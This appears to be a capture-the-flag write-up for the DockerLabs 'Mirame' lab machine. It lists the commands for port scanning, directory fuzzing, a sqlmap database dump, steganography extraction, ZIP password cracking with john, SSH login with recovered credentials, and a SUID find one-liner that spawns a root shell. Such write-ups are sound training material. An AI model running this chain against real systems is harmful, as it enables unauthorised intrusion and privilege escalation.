> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/mirame.md). # Mirame ## 1 - Reconnaissance We begin with a fast Nmap scan to identify open ports: `nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5` **Result: ports 22 and 80 are open** ## 2 - Enumeration Now we run a service/version detection scan, targeting only the open ports we found on the previous scan: `nmap 172.17.0.2 -p 22,80 -sS -Pn -sCV`

We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`: ``` ffuf-dir () { ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt } ``` we did `ffuf-dir http://172.17.0.2/FUZZ` and we found the following routes:

We found a login tab on /auth.php, and a weather app on /page.php. As it's probably connected to a DB, and we can't do anything with the weather app, we will run SQLMap on it. ## 3 - Exploitation We will run SQLMap to dump all the databases in the system: ``` sqlmap -u http://172.17.0.2 --forms --dbs --batch --dump ```

We tried to login through SSH on all the accounts, and use them on the login page, but we didn't have success. As "directorio" is a route in spanish, we will browse /directoriotravieso, finding an image that could have info hidden with stego:

Using stegseek on it will extract `ocultito.zip` but it's protected with a password, so we will run zip2john. ``` zip2john ocultito.zip < hash john --wordlist=/usr/share/wordlists/rockyou.txt hash unzip ocultito.zip stupid1 ``` We will get this set of credentials: `carlos:carlitos` and we can use it to login through SSH. ## 4 - Privilege Escalation We can't run `sudo -l` with `carlos`, so we ran: ``` find / -perm -4000 2>/dev/null ``` We found SUID on `/usr/bin/find` so using GTFOBins one-liner we can spawn a root shell: ``` /usr/bin/find . -exec /bin/sh -p \; -quit ```

## 5 - Summary **Initial Access:**\ Directory enumeration revealed `/auth.php` and `/page.php`. SQLMap confirmed a SQLi vulnerability, but it didn’t yield valid creds. **Exploitation:**\ Further exploration uncovered `/directoriotravieso/miramebien.jpg`, which contained `ocultito.zip` hidden via stego. Cracking the ZIP revealed SSH credentials `carlos:carlitos`. Logged in via SSH as `carlos` using the extracted credentials. **Privilege Escalation:**\ Found `/usr/bin/find` with SUID bit. Abusing GTFOBins one-liner spawned a root shell.